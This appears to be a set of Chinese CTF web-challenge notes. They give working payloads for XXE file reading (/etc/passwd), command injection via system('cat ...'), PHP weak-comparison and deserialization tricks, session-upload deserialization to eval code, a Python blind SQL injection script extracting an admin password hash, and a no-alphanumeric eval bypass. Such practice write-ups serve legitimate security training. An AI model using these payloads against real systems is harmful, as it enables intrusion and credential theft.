例题 localhoost访问
更改x-forwarded-for=127.0.0.1
api调用 http://web.jarvisoj.com:9882/
目录扫一下没什么特别的东西,看一下源码发现了关键代码
<script>
function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>
审核完代码没有发现什么东西,一个AJXA异步post上传,也没看出什么,看了题解后才明白是XXE实体上传漏洞,原来对这个漏洞也是闻所未闻,所以后面专门记录一下吧
我们直接讲利用,看到原本的post包是这样的
就是利用post过去的xml实体,构造有特定功能的xml来达到目的!
这里我们利用xxe漏洞首先需要修改Content-Type为application/xml
,即传递类型为xml格式,然后修改post值为
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<root>&b;</root> # 这里的b是实体的名字 协议读取文件 file:///etc/passwd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///home/ctf/flag.txt">
]>
<root>&b;</root>
完成攻击
PHP弱语言缺陷
在进行比较的时候,如果md5是以为0e开头,那么==0是成立的
比对时,字符串开头不是数字,那么就是0 ,若为12deuia,那么就是12
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
上网找有很多,MD5的值为0e开头
s878926199a
0e545993274517709034328855841020
可以看到,由于开头是s所以s878926199a与0是相等的,由于md5值时0e开头,所以与0是相等的
得到新的提示
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{ print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
我们需要传输的序列包含两个字段,并且根据弱类型我们可以传输1就满足比对
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
# 两个键值 user = 1 pass=1 s:num对应长度 b表示布尔 i表示--
重新输入账户和密码就可以了,下面是测试的
$a =array('user' => 1,'pass'=>1);
$c = serialize($a);
print($c);
?> // a:2:{s:4:"user";i:1;s:4:"pass";i:1;}
命令执行 http://web.jarvisoj.com:32798/
assert 类似于if函数,进行判断的
tac命令用于将文件已行为单位的反序输出,即第一行最后显示,最后一行先显示。
首先发现git泄露,下载源码,看到index.php
这是一个命令执行,构造page参数,我们可以看到flag.php文件是存在的(githack可以看到)。那么读取文件就需要命令执行
尝试如下:
http://web.jarvisoj.com:32798/?page='flag.php'.system("cat templates/flag.php").
http://web.jarvisoj.com:32798/?page=/././')|system('tac templates/flag.php');//
获得flag。命令执行注意命令的闭合,还有被过滤的linux关键字。
这里的tac是cat反向的命令,用于获取最后一行数据
序列化漏洞
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
有phpinfo参数则进入phpinfo,可以看到一些配置信息
这题的突破点在哪里,没错,就是备注的那块ini_set('session.serialize_handler', 'php');
查了下手册:php大于5.5.4的版本中默认使用php_serialize规则,通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。
这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过Session Upload Progress来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
// 添加到前端页面中,生成了一个提交界面,我们选择文件提交
注意,添加到空白部分,别影响正常代码,插入的时候找个好地方,否则不好用的
我们可以看到提交的框了,这是为了方便我们提交,不用自己构造post信息,所以这个代码可以自己留着以后用
在访问文件名时,触发反序列化漏洞,我们需要控制名字。实际上我们可以看到,我们最终需要的是class类中的一个$mdzz变量,在序列化中保存的信息会采用class的信息保存,不仅有mdzz变量,所以复制一个同样的class和变量然后来序列化
<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);
var_dump($a);
#|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
这样我们得到的mdzz变量的序列化信息就保存了有关的类信息等,是一个完整的变量,后面的也需要这么序列化。
通过dirname获取文件路径
设置$mdzz=‘print_r(dirname(__FILE__));‘
序列化得到的结果是O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
通过dirname获取文件路径
设置$mdzz=‘print_r(dirname(__FILE__));‘
序列化得到的结果是O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
通过scandir获取文件列表
设置$mdzz=‘print_r(scandir("/opt/lampp/htdocs"));‘
序列化的结果是O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}
读取文件内容:
通过file_get_contents读取文件内容
设置$mdzz=‘O:5:"OowoO":1:{s:4:"mdzz";s:87:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"))";}‘
序列话结果O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}。
最后就得到了flag。
题目的关键是如何保存session 如何引入序列化的变量触发反序列化引擎。
sql注入(结合序列化表示)
进去是一个网站,随意输入账号密码注册,测试过了这个不存在注入......
里面的内容是添加点绘制和删除点
我们点击delete删除的时候,看一下请求头发现,是一个特殊的序列化的字符串,先url解密,看看表示方式
action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:1:%220%22;s:1:%22y%22;s:1:%220%22;s:2:%22ID%22;s:6:%22545401%22;}
action=delete_point&point=O:5:"point":3:{s:1:"x";s:1:"0";s:1:"y";s:1:"0";s:2:"ID";s:6:"545401";}
可以看出来大概就是一个数据库的查询,因为还有id之类的,还有delete,我们可以在这里进行注入。
大概的思路就是添加一个点进去,看一下用payload能不能删除,删除成功即id不存在,说明payload语句为true.二分法确实快不少.关于id存不存在我们可以匹配返回的数据,看看还有没有点,这里是脚本:
import requests
import re
import sys
p = re.compile(r'''ID: (.+?) x:''')
ans = ''
for pos in range(1,33):
l = 0
r = 127
headers = {"Cookie": "PHPSESSID=8rmq4bgp0uhraog0kvqbcnj6u0"}
data = {"x": "1", "y": "1"}
while l<r:
mid = int((l+r)/2)
requests.post(
"http://web.ctflearn.com/grid/controller.php?action=add_point", data=data, headers=headers)
resp = requests.get("http://web.ctflearn.com/grid/", headers=headers).text
_id = p.search(resp).group(1)
payload = _id + ' and ord(mid((select password from user where username="admin" limit 0, 1), ' + str(pos) + ',1))>' + str(mid)
length = len(payload)
resp = requests.get('''http://web.ctflearn.com/grid/controller.php?action=delete_point&point=O:5:"point":3:{s:1:"x";s:1:"1";s:1:"y";s:1:"1";s:2:"ID";s:'''+str(length)+''':"%s";}'''%payload,headers=headers,allow_redirects=False).text
resp = requests.get("http://web.ctflearn.com/grid/",headers=headers).text
if _id not in resp:
l = mid+1
else:
r = mid
if l==0:
break
ans = ans + chr(l)
print(ans)
sys.stdout.flush()
#point,user
#username,password,uid
#admin,test,,time,b,yeraisci,bro,bajilak,tes{},1234,tes
#0c2c99a4ad05d39177c30b30531b119b
$a={s:1:"x";s:1:"0";s:1:"y";s:1:"0";s:2:"ID";s:6:"545401";};
$c = unserialize($a);
print(c);
无字母数字绕过过滤
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
大概的意思是我们只能用小于40长度的字符,构造出getFlag字符串来执行函数 获得flag
由于之只能使用非数字字母,那么就想到了php里的那个webshell构造的那个知识点,我们要构造的代码如下
http://202.112.51.184:20001/?code=$_GET[getFlag]()
http://202.112.51.184:20001/?code=$_GET[_]()&_=getFlag
http://202.112.51.184:20001/?code=$_GET[_]($_GET[__])&_=getFlag
为空
由于GET违法,所以全部替换一下$_=_GET
http://202.112.51.184:20001/?code=$_=_GET;${$_}[_](${$_}[__]);&_=getFlag
将_GET进行异或获取
http://202.112.51.184:20001/?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
关于无数字字母shellcode的前面说过